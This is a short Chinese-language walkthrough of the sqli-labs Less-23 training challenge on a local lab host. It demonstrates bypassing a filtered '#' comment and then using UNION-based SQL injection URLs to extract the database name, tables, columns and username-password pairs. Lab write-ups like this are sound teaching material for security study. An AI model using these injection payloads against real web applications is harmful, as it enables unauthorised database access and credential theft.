sqli-labs less-23 注释符绕过

注释符绕过

来到23关，提示我们用id查询
查询：

http://192.168.140.130/sq/Less-23/?id=1

页面回显正常，构造

http://192.168.140.130/sq/Less-23/?id=1'

报错

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy_64\phpstudy_pro\WWW\sq\Less-23\index.php on line 38
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near''1'' LIMIT 0,1' at line 1

得知是单引号闭合，结合经验，为单引号闭合方式
构造

http://192.168.140.130/sq/Less-23/?id=1’ #

页面报错，猜测是#注释符被过滤了，所以绕过#过滤，想到是单引号闭合，所以我们构造

http://192.168.140.130/sq/Less-23/?id=1’ or '1'='1

成功绕过

测试列数

发现order by 和group by 都不能用，所以我们使用

http://192.168.140.130/sq/Less-23/?id=-1’ union select 1 or ‘1’=‘1
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,2 or ‘1’=‘1
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,2,3 or ‘1’=‘1
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,2,3,4 or ‘1’='1

得知列数和回显位，接下来开始注入

注入

数据库
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,(select database()),3 or ‘1’='1

表
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 or ‘1’='1

列
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),3 or ‘1’='1

数据
http://192.168.140.130/sq/Less-23/?id=-1’ union select 1,(select group_concat(username,‘-’,password) from security.users),3 or ‘1’='1